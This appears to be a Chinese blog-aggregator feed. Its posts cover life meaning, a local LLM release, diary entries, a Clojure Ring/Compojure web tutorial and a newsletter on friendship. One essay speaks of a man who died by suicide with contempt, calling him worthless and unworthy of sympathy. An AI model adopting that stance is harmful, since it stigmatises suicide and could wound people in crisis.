  2. 从你的主观视角(你启动赋值) 意义诞生在两件事交汇的时候:
  • 你主动拒绝别人塞来的变量;
  • 你主动选择某些体验、目标、行动,并且认同它。

也就是说: 意义不在终点,不在某一个固定答案里;意义就在「你自主赋值」这个行为本身。

举个例子: 别人说你应该搞量化、创业、赚更多钱; 但你发现你只想花时间研究历史,或者单纯享受安静生活。 这件事本身没有宇宙自带的意义。 但当你清醒地选择它、认可它,意义就被你这次选择创造出来了。

第三层:容易踩的坑——“不被定义”也会变成枷锁

这是很多人忽略的: “要活出自己,不要被定义”这套理念,现在也成了流行的社会口号。 它也会变成一套新的外部标准: 你必须独特、必须摆脱世俗轨道、不能随大流,不然就是没有活出自己。

这时,“不被定义”反过来变成了另一种定义,新的枷锁。 一旦你害怕“不够活出自我”,就等于你又接受了别人的价值判断。

真正的「不被定义」其实包含选择权: 你既可以选择走一条与众不同的路; 也可以主动选择一条世俗普通的路,并且清楚:这是我自己选的,不是被迫接受。 哪怕你选择大众路线,只要是自主选择,依然属于“活出自己”。

第四层,回到你最早的疑问

如果不定义、不赋值,意义是什么?

  • 彻底不赋值:没有意义,只有存在与感受。
  • “人生不被定义,活出自己”:不是彻底删除变量,是把赋值权限交给你。 它没有给你固定值,只给了你权限。

所以这句话的意义,不在于它给了你一个人生目标; 而在于它宣告:定义你的代码,写或者不写,由你决定。

一个追问

那有没有一种状态:既不接受外界的定义,同时自己也不去主动赋值? 这种状态,还能叫做“活出自己”吗?

低配机器也能跑的大模型 qwen3.8-flash-next-iq3_xxs

作者 obaby
2026年10月7日 14:09

Strata 能在普通电脑上运行 Qwen3.8-Flash-Next。这是一个又大又聪明的 AI 模型,通常要用服务器才能跑。它能聊天、写代码、看图片,还能配合你的应用和编程智能体一起工作。所有数据都留在你的电脑上。

本地运行效果:

运行速度:

电脑配置信息:

https://valid.x86.fr/57jwli

代码仓库地址:

https://github.com/Niko1221/Strata/tree/main

ps:本地语言模型没有任何的限制,可以发挥自己的想象力做点自己喜欢的事情。

那就活着

作者 ONO
2026年10月7日 09:47

1652 | 自杀后的同情标准与理解原则

这两天某公司正值人生发展上升趋于平稳时期(如果直接说“40岁”感觉又太过可怜)的程序员,跳楼自杀的新闻冲刺着公众的视野,而朋友圈里面各种版本的说辞都有,有的明显是用来“膈应老板”,暗示老板自己受到了苛刻地对待;而有的是一声叹息,觉得这个社会太过浮躁;甚至还出现了各种“其他版本”,有研究生跳楼的、有博士后跳楼的、还有很多以前人们最喜欢津津乐道的眼高手低的“学霸”纷纷跳楼的新闻,好不热闹。

但是新闻到最后,无论人们如何猜测,无论人们用何种惯用的套路来修饰“中年男人”“孤儿寡母”“程序员”“加班”等等原本还能够刺激人们感官的字眼,到最后这件事情在一夜之间销声匿迹(这也是为什么我将这篇文章,决定延后几天发布的原因,因为没人记得固然是最好的)。至于他死亡的真相,已经没有办法再如同过去一样,在网络之中引发一场,能够带来巨大流量和热情的对战,因为这种年纪、这种职业、这种原因自杀的人不能说“比比皆是”这种明显不尊重的说辞,但是也可以说“稀疏平常”,所以它最终没办法引发流量主或是“记者们”所期待的网络论战和群情激奋的讨论。没有流量,就意味着他们的热点丧失,而没有热点,就意味着他自杀的真相以及是否值得同情和理解又有了新的标准和原则——至少他在这些众说纷纭的说辞里面是“不值得同情”,也是“不值得理解”的。

很早之前就说过,人们对“自杀”这件事情的理解无非是两个方向:一个是有人逼死了他,所以应该为这个人的自杀负责;而另一个是他自己逼死了自己,但是这是一个悖论,因为他既是责任方又是受害人,所以为了破除这个比死亡还要痛苦的悖论,还是需要找到一个外在的责任人。这一套“完备的系统”被我戏谑地称之为“自杀后的同情标准与理解标准”。但是今天这则故事又有所不同的是,这个自杀的人,无论记者和流量媒体如何用“这些原本在过去可以激发人们敏感神经的词汇”都没办法掩盖几个核心的事实——他的死对自己妻儿的不负责,对自己的不负责,以及他这个年纪是否应该真正地认识到自己,而不是选择一种如此下乘的方法来逃避现实?

没错,就是这么残忍。关于他的人,虽然有人同情,但是我想想也只是形式上的,因为他的自杀到最后就连让流量媒体想要蹭一蹭热度、掀起论战的“作用”都没有,所以才觉得他的死是真的“可惜”。似乎从一开始人们都弄错了一个前提,或者说因为长期以来流量媒体的惯用手法已经让这群“读者”麻木不仁,这件事情的前提不是去探寻“自杀”背后的责任方,因为这是个悖论,造成他死亡的是他自己,不是别人,与那些字眼本来就没有直接关系,并不是加班,并不是生活压力,也不是这个社会的不公平——没有人应该成为这件事情的负责人,因为太想要以热点的方式来掀起网络论战,都想要找到责任人,而有了后面这些种种可悲又可笑的闹剧。

当然,还有一句话值得在最后“不那么尊重”地说出来:一个人,有多大的能耐、有多大的才华,并不是他认为有多少就是多少,这些才华卖不出去,也等于废物——而这样的人选择死亡,责任人根本不可能是这个物欲横流的社会,或是怀才不遇的时代,因为这是一个废物杀掉另一个废物的悲喜剧。


前面的内容,是在2018年左右写的,我已经不记得当初那个新闻到底如何,但时隔多年,这种被要求同情的“游戏”还在继续。

昨天一个朋友向我诉苦,说自己节后就会失业了,因为公司在前端接入了AI工作流,于是公司终于开始对“码农”下手了——据他所说,其实这个传言在年初就已经在公司不胫而走,只是没想到当大家都以为是狼来了的时候,还真就发生了这样的事情。

虽然有解除劳动合同的赔偿,但他如今已经41岁,再想要找工作并不是件容易事,上有四老,下有妻儿,车贷房贷共同压身,是一个非常标准的“人物画像”。抱怨归抱怨,他还是很有信心,自己还能接到外包工作,说到最后我也被他绕迷糊了,不得不问了一句:你需要我同情你还是鼓励你?

我倒不是冷漠,而是他既然把所有的后路都已经想通,那如果只是需要我作为聆听者,那我大可做好“是是是”“对对对”“我怎么没想到”的捧哏。但他又非常希望我能理解他的情绪,不断地问我“这是不是现在非常平常的情况”,以确保有其他人也一样被拖下水,以至于他的心态会好很多。

于是,他开始被卷入到信息茧房之中,一方面他需要不断鼓励自己还可以,另一方面他的信息茧房已经形成了“35岁被职场淘汰”的信息黑洞。于是他来找我倾诉,其实是想让我以“案例”的方式,安慰他其实还有很多人跟他一样。

是不是,我不太好说,但既定事实并不能通过几个故事就能被改变。


他后来承认,自己其实并不想要解决方案,而只是需要当下有一个人支持并同情他的遭遇。他为了让这种同情的筹码升级,他甚至对我说:他想到了自杀。

我问他:“自杀能解决什么?”

不能。

那就活着,去想办法解决问题。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

碎片2026年10月6日

作者 ACEVS
2026年10月6日 18:24

多多买菜,买了双份的芹菜和蒜薹。超市老板乐呵呵。

网球场地稀缺,发现还有几个弹力绳的网球,找了个地方练习,网球挥拍,确实挺累,可能我喜欢大力挥拍,本来使用中的那个弹力绳网球,先是绳子断掉,接上后,链接网球那个尼龙扁片状的绳子和网球原来是胶水固定的,可能时间太久,好几年了,胶水老化,还好我没有大力抽打,不然这个网球可能飞到什么地方都不知道了。

换了个新的弹力绳网球,结果绳子没有固定好在那个可装水或沙子底座上,再一次大力挥拍后,球和绳子一起飞向远方,还好,没有伤人。

二宝继续篮球,大宝复习,开学就是各科考试了。

注册了永恒之塔2国际服,两个账号,魔族,天族一起刷刷,这游戏里面的女性挺好看,选择了比较丰满的默认设置,看着顺眼,不捏脸了。有机会打打任务。记录一下。

豆腐,与认知边界

作者 ONO
2026年10月6日 09:30

今天这个话题,来自于看完《一饭封神》第二季的总决赛后,突然在脑子里蹦出来的。

总决赛的比赛规则也是需要大家使用一个日常最常见的食材做出各种美食,而这一季的食材是——豆腐。因为我自己会做饭,虽然觉得豆腐这种食材在川菜里很好制作,但也会思考一个问题——那所谓的创新,到底是要做一个完全超脱大家对于豆腐作为食材在一道菜里的运用,还是在一个大家都认为豆腐应该“这样做”,而做出了一个新的做法?

这里我必须先要摆明一个立场——我是很难理解分子料理这件事的,把事物改变其原本的物理结构,把固态的事物变成液态,或是把一个有形的食物变成无形的泡沫,它可以是一个很好的创意,但我觉得它缺少了“食物”的概念性。

排除分子料理之后,那对于豆腐作为食材的运用,到底是应该做出一个完全想象不到的,还是在想象的范围以内让人产生新意的。就比如把麻婆豆腐做成奶茶味,先不论是否好吃,它可能是超越一些人的认知,也可能是一种麻婆豆腐的变形。


最终赛里,有一个瑞典厨师和一个马来西亚厨师,他们平时在餐饮制作里,很少接触到各类豆制品,而其余的中餐师傅,特别是其中一位川菜师傅,豆腐简直就是川菜的舒适区。而他们对豆腐的运用,又有了完全不一样的理解。

比如川菜对于豆腐的运用由于太过“熟悉”,所以这个时候去展现一道菜的火候的大小、味蕾的平衡、在传统与创新之间的平衡,就变成了艺术的部分;而对于很少接触豆腐作为主要食材的西餐师傅,他们反而可以发挥奇妙的创意性,制作一些我们在理解豆腐时,所无法想象到的烹饪方式,比如把豆腐改刀成松鼠桂鱼的形态,然后浇浸酱汁,去用豆腐模拟鱼肉的肥鲜口感。

这个时候就出现了一个有趣的疑问:如果我作为评价并做出评比的美食家,我是如何理解“豆腐”这种食材的。比如在我的脑子里,其实已经有了各种关于豆腐作为食材的“认知范围”,再不济我可以摒除个人喜好,接受咸浆,但我因为对豆腐有一个基本认知,所以我在品尝的过程中,会不会因为一个人对于豆腐的运用,超出了我的理解范围,而因为没有参照物,而变得很难评价。

比如每个人都有自己理解的麻婆豆腐的“好吃”,所以最终尝到一个大厨猛火快炒的麻婆豆腐时,可以从记忆里马上匹配相关的感受,以得出这是不是“我吃过最好吃的麻婆豆腐”,而如果是一个从来没有吃过的豆腐松鼠桂鱼,那我很难有一个参考标准,而会觉得“这是一种创新”,一旦失去这种参考的标准性,是否意味着评价系统本身也出现了问题?


先说评价的部分。

先撇开所谓的“创新”部分,涉及到参照物的评价系统,往往被称之为“规范评价”,即评价系统本身存在明确的传统、范式和历史。就比如麻婆豆腐,虽然口味本身是文无第一武无第二的东西,但每个人会有一个自己对于口味的理解,这也关系到一个人到底这辈子吃过多少麻婆豆腐。就像人们常常为之感动的“妈妈的味道”,在那些没有参与到这个自我感动体系里的人而言,不好吃就是不好吃,不会因为那是“妈妈”这个符号而自动变得好吃。

而当这个明确的传统、范式和历史的参照物不存在时,便有了第二种评价系统——“生成评价”。于是评价很容易从那些更容易找到参照物的事情上面,来作为依据本身。例如一个人的性别、特质、甚至是所谓的人品,都有可能成为评价标准——进而还会拓展到一个人的主观厌恶、认知谬误等等。

问题不在一个厨师用豆腐做出了何种料理,西施做的豆腐,和武大郎做的炊饼,就算这两个食材不在一个标准之上,也很容易得出好坏评价。


然而,在这套评价系统的背后,还有一个原本限制了评价系统边界的存在——认知。

当然,一谈到认知,有可能就会引起一些人的不满——这本身也是认知边界的一部分。这里并不是在嘲笑认知边界,而是因为人的想象力与评价能力之间本身存在一个不对称的存在。

厨师可以用豆腐创造出无限的可能,甚至是我无法理解的分子料理——但评价者则没有必要完全跟上、或是完全跟不上厨师的创造力——比如是因为我的个人认知水平,导致无法理解分子料理。也就是说:

厨师创造出一个全新的东西→评价者没有对应的经验→评价者无法判断好与坏→评价者只能借用旧有概念、或是寻找其他参照物→创作作品被迫比对旧有概念,或是厨师本身替代作品成为被评价主体

那么超过评价者评价系统的东西,就是所谓的“先锋”吗?这个问题先留在这里。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

Coffee Break Clojure, Vol.6

2026年10月6日 00:17

上一篇 讲解了如何用 Leiningen 管理 Clojure 项目的目录结构和依赖项,今天我们来了解 Clojure 生态中最常见的 Web 后端库 Ring 。不对,和那个 IndieWeb Ring 没有关系。

初识 Ring

Ring 是对 Web 服务器的低层抽象,也就是说没有实现页面路由(router),和通常的后端框架(比如 Go 的 Gin、Python 的 Django、Java 的 Spring Web 等)有很大区别。

根据 Ring Spec 1.6.1 ,Ring 主要有三个概念:

  1. Handler(处理器)
  2. Middleware(中间件)
  3. Adapter(适配器)

Ring 提供了三种 API: 同步 API、异步 API 和 WebSocket API。不同的 API 在概念上略有不同,我们先从最简单的同步 API 讲起。

Handler 就是一个函数,接收 HTTP 请求,返回 HTTP 响应。

;; 一个示例 Handler
(fn [request] response)

异步 API 的区别不大,只不过,由于 Handler 的结果需要异步返回,如果出了错也要异步报错,所以要传入两个回调函数用来响应和报错。

(fn [request respond raise]
 (if (not exception)
 (respond response)
 (raise exception)))

一个 Handler 可以同时实现同步和异步 API。

(fn
 ([request]
 response)
 ([request respond raise]
 (respond response)))

Middleware 接收一个或多个 Handler,也可能接受一些参数,最后返回新的 Handler。可以理解为设计模式中的装饰器模式(decorator pattern),用来调整或增强 Handler 的行为,比如把 Handler 返回的响应体都解析成 JSON 字符串。

Adapter 接收一个 Handler 和其他配置参数,在调用时启动 HTTP 服务器。

;; 调用一个 Adapter 的示例
(run-adapter handler options)

把 options 设置成 {:async? true},Adapter 就能以异步模式运行了。前提是 Handler 支持异步 API,Adapter 也要支持 :async? 才行。异步 API 可以让服务器并行处理多个请求,如果对并发度有要求可以用。

接收 HTTP 请求的就是 Adapter,他会把请求包装成 Request Map 传递给 Handler,随后把 Handler 返回的 Response Map 构造成 HTTP 响应发送给客户端。可以把 Adapter 理解为设计模式中的代理模式(proxy pattern),用户不直接调用 Handler,而是通过 Adapter 调用 Handler,Adapter 会处理 HTTP 协议相关的细节。

图片由我使用 Excalidraw 绘制

上述组件其实都不必有代码依赖关系,因为函数可以作为数据传递,上图的虚线都表示数据流。Handler 先是经过 Middleware 被改装成了新的 Handler,然后被传入 Adapter;Adapter 在 Web 服务器有请求进来时调用 Handler 产生响应数据,把响应数据包装成响应体后传送给客户端。

简单的 Web 服务器

先在 project.clj 里添加两个新依赖:

 :dependencies [[org.clojure/clojure "1.10.1"]
 [ring/ring-core "1.8.2"]
 [ring/ring-jetty-adapter "1.8.2"]])

其中一个是 Ring 的核心库,另一个是 Jetty1 的 Ring Adapter。ring-core 也提供了一些 Middleware,我们其实只需要写 Handler。

创建 src/antfigher/handler.clj,antfigher 是我用来演示的项目名。我们先让 Handler 只返回 Hello! 这一条信息。

(ns antfighter.handler)

(defn handler [request]
 {:status 200 
 :body "Hello!"})

接下来需要启动 Web 服务器,如果你安装了上一篇提到的 lein-ring 插件,就可以直接用命令行启动了。在 project.clj 中添加这些配置:

 :plugins [[lein-ring "0.12.6"]]
 :ring {:handler antfighter.handler/handler}

:plugins 安装了 Ring 插件,:ring 则是这个插件的配置项,其中 :handler 指定了 antfigher.handler 命名空间下的 handler 符号,也就是我们刚才定义的 handler 函数。

在终端输入 lein ring server 启动服务器,之后工具会自动在浏览器里打开 http://localhost:3000,然后就能看到 Hello! 显示在浏览器页面里。

如果要打包成可以直接在 JVM 上执行的 .jar 文件,可以用 lein ring uberjar 编译。不过,我不建议依赖这个 Leiningen 插件来编译应用,而且不少应用其实除了启动 Ring 服务器,还需要启动别的东西,比如后台处理线程、消息队列等等。lein ring uberjar 只会把指定的 Handler 编译进去。

在 core.clj 文件的 -main 函数里编写启动逻辑:

(ns antfighter.core
 (:gen-class)
 (:require [antfighter.handler :refer [handler]]
 [ring.adapter.jetty :refer [run-jetty]]))

(defn -main
 "I start a Jetty server."
 [& args]
 (run-jetty handler {:port 3000}))

run-jetty 就是 Ring Jetty Adapter,它接收 handler 函数和作为配置项的映射,这里我们传入的配置是 {:port 3000},也就是在 3000 端口上启动 Jetty 服务器。

这时运行 lein run,再手动打开 localhost:3000,也能看到 Hello!。如果用 lein uberjar 把项目编译成 .jar,然后用 java -jar xxx.jar 运行,也是一样的效果。2

开发时建议用 lein ring server,因为自带热重载,保存代码后就能看到效果。

处理 HTTP 请求

Handler 接收的参数 request 是个映射,结构如下:

Key Type Required
:body java.io.InputStream
:headers {String String} Yes
:protocol String Yes
:query-string String
:remote-addr String Yes
:request-method Keyword Yes
:scheme Keyword Yes
:server-name String Yes
:server-port Integer Yes
:ssl-client-cert java.security.cert.X509Certificate
:uri String Yes

Handler 也应该返回一个映射,结构如下:

Key Type Required
:body ring.core.protocols/StreamableResponseBody
:headers {String String} or {String [String]} Yes
:status Integer Yes

上述表格摘自 Ring Spec 。大部分情况下我们都只需要使用 :body 和 :headers,也就是响应头(或请求头)以及响应体(或请求体),响应时还需要带上 :status,即 HTTP 状态码。

当然,如果你不用任何路由库,纯手动路由,那还要用到 :request-method(请求方法,如 GET POST)和 :uri(用来解析路径)。

Handler 做的事情其实就是对请求做些处理,然后构造响应。比方说,如果客户端用 GET 方法请求 /hello 目录才返回 Hello!,对其他路由都返回 404 和 Not Found,就可以这样写:

(ns antfighter.handler
 (:import [java.net URI]))

(defn handler [request]
 (let [method (:request-method request)
 uri (:uri request)
 path (.getPath (URI. uri))]
 (if (and (= method :get)
 (= path "/hello"))
 {:status 200 
 :body "Hello!"}
 {:status 404 
 :body "Not Found"})))

不过,访问 /hello 会得到 Hello!,但访问 /hello/ 却是 Not Found。我们的路由匹配方式有缺陷。处理这些细节太麻烦了,有没有别的办法?

沉着冷静地路由

Compojure 是 Ring 的主要贡献者 weavejester 维护的路由库。这个名字显然来自 Composure,意思是「沉着冷静」。

如果要新建项目的话,其实可以直接用 Leiningen 的 compojure 模板:

lein new compojure hello-world

不过我自己的感受是,不用脚手架从零搭建会减少很多认知负债,在一开始就把各种组件、依赖关系和架构搞清楚是最好的。熟悉之后再图方便使用模板。

下文提及的符号基本都定义在 compojure.core 命名空间里,读者应该会使用 require 引入符号(如果不会,就去读 上一篇 ),我就不写 require 了。

Compojure 的核心是 routes 函数,用来把多个 Handler 组合成一个。一般和 GET、POST、PUT 等路由宏一起使用,每个宏对应一个 HTTP 方法,可以用 ANY 宏匹配任意方法。这些宏展开之后,最终返回的是对应方法和路径的 Handler。

(def api-routes
 (routes 
 (GET "/hello" request (handle-hello request))
 (POST "/receive" request (handle-receive request))))

(run-jetty api-routes {:port 3000})

上述代码可以简写为:

(defroutes api-routes
 (GET "/hello" request (handle-hello request))
 (POST "/receive" request (handle-receive request)))

(run-jetty api-routes {:port 3000})

request 可以直接传给处理逻辑,也可以解构(destructure)之后再传递:

(defroutes api-routes
 (GET "/hello" [username] (say-hello username))
 (POST "/receive" [data] (receive data)))

放在向量里的符号会被自动绑定到对应名称的 Query String 或 POST 参数上。

curl http://localhost:3000/hello?username=Alice 
# => Hello Alice!

Compojure 也可以用 Clojure 自带的 解构 ,比如把数据从 Session 里取出来:

(GET "/user" {{:keys [user-id]} :session}
 (str "The current user is " user-id))

关于解构,一般用向量取出 Query 和 POST 参数就够了,更多用法可以参考 Compojure Wiki 。如果觉得解构的语法太麻烦,直接用 Request map 也没有问题。

这些宏也天然支持动态路由:

;; 路径中的 :username 会被绑定到 username 符号上
;; 下面的路由会匹配所有形如 /hello/* 的 GET 路径
(GET "/hello/:username" [username] 
 (say-hello username))

;; 可以用正则表达式做更严格的匹配
(GET ["/user/:id", :id #"[0-9]+"] [id]
 (get-user id))

路由可以嵌套,要用到 context 宏,参考 Wiki 里的例子:

(defroutes user-routes
 (context "/user/:user-id" [user-id]
 (GET "/profile" [] ...)
 (GET "/posts" [] ...)))

如果一个请求发过来,没有匹配上任何一条路由,那么 Compojure 会返回 nil。我们还没处理 Not Found 路径。可以用 compojure.route 里的 not-found 函数处理 404 请求。

(require '[compojure.route :as route])

(defroutes api-routes
 (GET "/hello" [username] (say-hello username))
 (POST "/receive" [data] (receive data))
 (route/not-found "Not Found"))

Compojure 不仅帮我们解构 request,还可以智能地处理 response。比如,我们可以把 GET "/hello" 这个路由的响应替换成字符串。

(defroutes api-routes
 (GET "/hello" [username] (str "Hello " username "!"))
 (POST "/receive" [data] (receive data))
 (route/not-found "Not Found"))

"Hello Alice!" 会被自动包装成:

{:status 200
 :headers {"Content-Type" "text/plain; charset=utf-8"}
 :body "Hello Alice!"}

构造这种响应体可能很麻烦,除了让 Compojure 自动处理(说实话,我觉得自动处理有点令人捉摸不透,自己写清楚会好点),还可以用 ring-http-response 工具库:

(require '[ring.util.http-response :refer :all])

(continue)
; {:status 100, :headers {}, :body ""}

(ok "body")
; {:status 200, :headers {}, :body "body"}

(created "url" "body")
; {:status 201, :headers {"Location" "url"}, :body "body"}

(found "url")
; {:status 302, :headers {"Location" "url"}, :body ""}

自由组合中间件

Compojure 能帮我们处理路由、请求体的解构和响应体的封装,但内部结构并不复杂,这些功能是通过 Middleware 实现的:

(defn make-route
 "Returns a function that will only call the handler if the method and path
 match the request."
 [method path handler]
 (-> handler
 (wrap-response)
 (wrap-route-middleware)
 (wrap-route-info [(or method :any) (str path)])
 (wrap-route-matches method path)))

这些 wrap- 开头的函数就是 Middleware,最初的 handler 作为参数被传入这些函数,一层层被包装。wrap-response 给 Handler 增加了自动包装返回值(响应体)的能力,wrap-route-matches 则保证只有请求体里的方法和路径都匹配时才放行。

还记得 defroutes 定义的符号也是个 Handler 吗?Compojure 的路由不过是把多个匹配不同路由的 Handler 组合成了一个大的 Handler。Handler 就是这样被组合、装饰才变得支持多路由和各种额外功能的。

我们还可以继续包装 Handler,比如用 ring-json 库,把响应体 :body 里的 Clojure 数据结构自动解析为 JSON 字符串:

 :dependencies [[org.clojure/clojure "1.10.1"]
 [ring/ring-core "1.8.2"]
 [ring/ring-jetty-adapter "1.8.2"]
 [ring/ring-json "0.5.1"]]) ;; <- 新依赖

ring.middleware.json/wrap-json-body 会解析所有 Content-Type 为 JSON 的响应体。

(require '[ring.middleware.json :refer [wrap-json-body]])

(defroutes api-routes 
 (GET "/test" [] 
 {:status 200
 :headers {"Content-Type" "application/json"}
 :body {:message "Cheshire just visited me."}}))

(def app 
 (wrap-json-body api-routes))

(run-jetty app {:port 3000})
curl http://localhost:3000/test 
# => {"message": "Cheshire just visited me."}

如果需要对响应数据做处理,比起放在业务逻辑里增加复杂度,不如写一个 Middleware,对 Handler 进行装饰。如果是相对通用的需求,可以找找有没有已经实现自己需求的库。


其他参考资料

  • 除了 Ring 默认的 Jetty,我个人比较推荐 http-kit ,它提供了简单且性能较好的 Web 服务器实现,可以用 org.httpkit.server/run-server 替代 run-jetty。这个库也提供了 HTTP 客户端实现。

  • 除了 Compojure,还有更新更现代的 reitit ,不过仍处于 0.x.x 版本阶段,不如 Compojure 稳定。

    reitit 的主要亮点是数据驱动,路由不必写成宏形式,可以写成嵌套的向量:

    (defn cqrs-routes [actions]
     ["/api" {:interceptors [::api ::db]}
     (for [[type interceptor] actions
     :let [path (str "/" (name interceptor))
     method (case type
     :query :get
     :command :post)]]
     [path {method {:interceptors [interceptor]}}])])
    

    上面这个示例来自 reitit 文档。说实话,用 for 循环(或者 map)构造路由看起来很酷,但用宏同样可以做到啊。Clojure/Lisp 代码本身就是数据,不需要什么「数据驱动」。

    不过 reitit 还有别的好处,比如可以在路由里写拦截器(interceptor)。

  • 你可能会想要 Swagger API 文档,有 ring-swagger 这个库,本质上是在 API 路由的定义里添加了一些元数据和文档描述,然后在运行时用这些数据生成 swagger.json,还把 Swagger UI 也打包在内。

    还有专门为 Compojure 设计的 compojure-api ,用 ring-swagger 实现。我试了试,这个库的依赖有点大,打包后可能有十几二十兆。在我看来不如手写文档,除非 API 真的很复杂。


最后

这其实也是我第一次这么仔细地阅读 Ring 和 Compojure 的架构。Ring 的 Handler、Middleware 和 Adapter 其实很优雅,尤其是 Middleware 的组合,以非常优雅清晰也非常函数式的方式拓展了 Handler 的能力。

由于写文的过程中发现了不少之前不了解的细节,所以我打算稍后就去整理一下我项目里的 API 写法。那么,回见!


  1. Jetty 是个 Java Web 服务器;也可以换成别的,这里就用默认的 Jetty 演示了。 ↩︎

  2. 上篇文章提到了,如果要用 Java 运行,就要保留 core.clj 中的 :gen-class。 ↩︎

继续运动

作者 ACEVS
2026年10月5日 19:03

这次wife也去了,本来想着中午12.00左右吃完饭就出发,昨天来的时候网球场没有人,今天等化好妆,准备好,一看表。2点了。哈哈。他们还要走路过去,我骑电驴,这次拿了网球拍,网球,乒乓球拍和球,还有两个儿童篮球,还有一瓶水。

到了地方2个网球场地已经六个人再打了,我们去打乒乓球,二宝不愿意玩,就去打篮球了,我和大宝打乒乓球,打的时候我回忆起我小时候几年级如何打乒乓球的,就和大宝讲了讲,小时候水泥台子,我们那边中午休息时间长,中午大概有三小时左右时间,下午4.30左右上课,晚上6.30左右放学,我们都是中午不睡觉,翻墙进学校,打乒乓球,幸好这个乒乓离大门很远,保安小孟,也假装看不见我们。我们都是玩野球的,都是自学的,开始玩,就是靠发球,甚至各种奇怪的法球,比如拍子放桌面上,然后手里握着乒乓球,把球砸向拍子,当然还有各种手法的,这个发球,可以旋转,可以到旋,就是碰到案子那一刻,球会倒退回来,可能我们个子不高,倒退回去的球,我们来不及触碰,眼睁睁看着无能为力。现在这种球就好对付了。90%胜利都是靠发球,谁的发球,无敌了,那就无敌了.

失败多了,但是没有下球桌,没有放弃乒乓,那就有机会进步的,各种怪异的发球,有的被规则屏蔽了,杂耍性质的违规发球,已经让我们接发球的难度大大降低,剩下那些照着一些似乎练过的同学学习发球,也没有那么难对付,可以接发球了,可以打个来回了,然后几个来回,然后专打反手球,然后来回吊,旋转球,搓球,海底捞月,扣杀,有角度方向的扣杀,开始尝试各种握拍等等。

有空继续写写。先这样。

大脑充血 Vol.101

2026年10月5日 17:18

我一直说周刊是每周一发布,每月正刊也是,从没限定具体时间,就是考虑到了发布当天赶死线的情况。这期周刊的一小半内容都是周一写的,但质量确是我认为创刊以来最佳的一期,也是最长的,超过了一万字。祝阅读愉快。

本月的话题是道德与纯粹性,个人知识管理,市场的辨别力,开源软件与 UX 设计,Clojure 与函数式编程。


吾仅悉落

chapter 1 music cover

chapter 1

girl in red

Girl in Red 是我之前听一个叫 Chloe Moriondo 的翻唱歌手了解到的(当时 Chloe 还在 YouTube 上发尤克里里弹唱的视频,如今似乎变成原创流行歌手了,少了些味道)。

她的不少歌曲描写的都是对女生的爱恋,还有抑郁情绪。貌似不少拉拉会以「你听 Girl in Red 吗?」来辨认身份。我好奇男同会用谁,Taylor Swift 和 Lady Gaga 吗?难不成是 Troye Sivan?

《chapter 1》是她的第一张 EP,至今为止她只发过《If I Could Make It Go Quiet》和《I’m Doing It Again》两张录音室专辑。这张 EP 为她的风格奠定了基础,像是在一个朦胧的午后,半眯着眼睛看这个世界的感觉。

我个人最喜欢的是《i wanna be your girlfriend》和《summer depression》。


心重如毛

如何与自己谴责的人共建友谊?

📻

巴德学院汉娜·阿伦特政治与人文中心的创始人 Roger Berkowitz 近期出版了一本叫作《A World We Share》(我们共同的世界)的著作,讨论友谊与真理的关心。本书聚焦一个十分具有张力的核心问题:友谊比真理更重要的吗?Berkowitz 的答案是肯定的。

2017 年,Berkowitz 邀请了德国极右政客 Marc Jongen 到阿伦特中心的 十周年秋季会谈 讲话,后来还 发文 为他的邀请做辩护。此举遭到了学界同行的共同谴责(顺带一提,汉娜·阿伦特是德国纳粹大屠杀的幸存者),他们写了一封 公开信 谴责他。Berkowitz 本身并不持极右政治观点,他邀请 Jongen 是出于多元(Pluralism)考虑。

当时,签署那份公开信的人当中有他一起吃饭聊天的朋友。

对谈中,Berkowitz 提及了真理的霸权(Tyranny of Truth)这个概念。他说他之前读到了西塞罗(Cicero)说过的一句话,那句话让他读过之后的几年内都感到内心不安:

I prefer, before heaven, to go astray with Plato, your reverence for whom I know, and admiration for whom I learn from your lips, rather than hold true views with his opponents.

我宁愿与柏拉图一同误入歧途——我知道你敬重他,也能从你的言谈中了解你对他的倾佩——也不愿意和他的反对者一同持有正确的观点。

—— Cicero in twenty eight volumes. Vol.18: Tusculan Disputations, P47

如今的世界不是这样的,如今的世界被「哲人王」统治,我们已经接受,我们需要学识超群的人(拥有博士学位的人、政客、科学家)来指导我们的思考。他们说一不二。我们不在乎不同的观点,我们在乎真理(truth over opinion),而真理就是哲人王的观点。

Berkowitz 转述另一位学者的观点,说政治是说服,而非真理,但「共同的世界」并不能靠说服建立。人们面对面交流想法,而不是试图说服持有“错误观点”的人。在交流的过程中,人们意识到互相共有的东西和不能达成共识的东西,基于共有的东西建立起一个「共同的世界」,在这个世界里允许不和存在。

尽管我不太能完全接受「朋友比真理更重要」的观点,但我的确认可,应该允许自己与朋友之间存在不和。友谊就是人们先建立起的「共同的世界」,在友谊中可以包容观点不合。

播客中还谈到了阿伦特自己对友谊的看法,阿伦特认为认识并且有来往并不代表成为了朋友,有时候在外人看起来像朋友的人,阿伦特自己却不会承认,尽管她真的像关心朋友一样关心对方。她认为真正的友谊是需要时间建立的,朋友需要经常面对面说话,需要在各种场合出席,需要相互陪伴。友谊也是具有私密性的,公开的社交场合不是给朋友的,朋友是自己会邀请到家里来小聚的人。阿伦特本人也十分珍重隐私,她的私人生活(包括她与海德格尔的恋情)在去世前从未为世人所知。

在我看来,并不是要和自己有意见冲突的人做朋友,而是要允许自己已经通常长期的交往和陪伴建立起共同世界的朋友,与自己有观点不合。比如,允许他们给自己写公开谴责信,但仍在私下谈天说地,因为私密的友谊和公共生活本身就有区别,这不是伪君子。

甚至说,正是因为有观点的冲撞和关心当中的张力,友谊才能长久,就像动物之间相互扑咬玩耍一样。从人类的层面来讲,允许朋友挑战自己,也有助于塑造人格。

博客中的相关条目: 《如何获得内心的安宁》什么是友谊?


顺带一提,Roger Berkowitz 教授还有 自己的网站 ,不过他并不写博客,这个网站类似于个人名片。可以在网站上了解他的学术成果。

你可能注意到这一小节的链接中没有包含播客名字,因为我想要在最后才揭露这是一期来自《独树不成林》的播客。下一节我们要考虑一个略微不同但与标题相关的问题:我们能完全理性地看待一个有洗稿抄袭前科的人产出的内容吗?我们如何不让自己的道德观念把自己与世界完全隔绝开来?

无法统一的道德观念与技术猎巫

📜

第 95 期周刊 中我提到《独树不成林》主播仲树洗稿抄袭一事。有人发现她发布的好几期播客节目从内容、结构和例证上都与 Old School with Shilo Brooks 等播客十分相似,而舆论发酵后,仲树本人并没有回应,连着发布了三期播客之后,就陷入了一个多月的沉默期。上一节提到的播客是她在那之后发布的第一期播客。

